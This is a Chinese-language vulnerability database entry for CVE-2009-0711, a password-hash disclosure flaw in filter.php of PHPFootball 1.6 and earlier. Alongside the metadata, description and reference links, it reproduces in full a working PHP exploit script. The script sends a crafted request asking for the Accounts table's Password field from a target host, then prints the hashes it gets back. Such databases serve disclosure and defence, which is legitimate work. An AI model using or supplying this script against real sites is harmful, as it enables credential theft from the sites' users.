PHPFootball 'filter.php'信息泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1183586 漏洞类型 信息泄露
发布时间 2009-01-02 更新时间 2009-03-06
CVE编号 CVE-2009-0711 CNNVD-ID CNNVD-200902-527
漏洞平台 N/A CVSS评分 5.0
|漏洞来源
https://www.securityfocus.com/bid/33087
https://cxsecurity.com/issue/WLB-2009020253
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-527
|漏洞详情
PHPFootball是足球球队管理软件用PHP编写的,使用MySQL数据库。PHPFootball1.6及其早期版本的filter.php允许远程攻击者可以借助对dbtable参数提交的含有帐户值和密码值的请求来找回密码信息。注意:该漏洞被某些单位指出是一个SQL注入漏洞。
|漏洞EXP
<?php

// http://garr.dl.sourceforge.net/sourceforge/phpfootball/PHPfootball1.6.zip

$host = $argv[1];
$path = $argv[2];

if ($argc != 3) {
    
    echo "PHPFootball <= 1.6 (filter.php) Remote Hash Disclosure Exploit\n";
    echo "by KinG-LioN - http://eurohackers.it\n";
    echo "Usage: php {$argv[0]} <host> <path>\n";
    exit;
}
else {

   $head .= "GET /{$path}/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n";
   $head .= "Host: {$host}\r\n";
   $head .= "Connection: close\r\n\r\n";
   
   $fsock = fsockopen ($host,80);
   fputs ($fsock,$head);
   
   while (!feof($fsock)) {
     $cont .= fgets($fsock);
   } 
    fclose($fsock); 
    
    if (preg_match_all("/<td class=td>(.+?)<\/td>/",$cont,$i)) {
        print_r($i[1]);
   } 
   else {
       die ("exploit error\n");
   }
}


?>

|受影响的产品
PHPFootball PHPFootball 1.6
|参考资料

来源:OSVDB
名称:51102
链接:http://www.osvdb.org/51102
来源:MILW0RM
名称:7636
链接:http://www.milw0rm.com/exploits/7636
来源:SECUNIA
名称:33367
链接:http://secunia.com/advisories/33367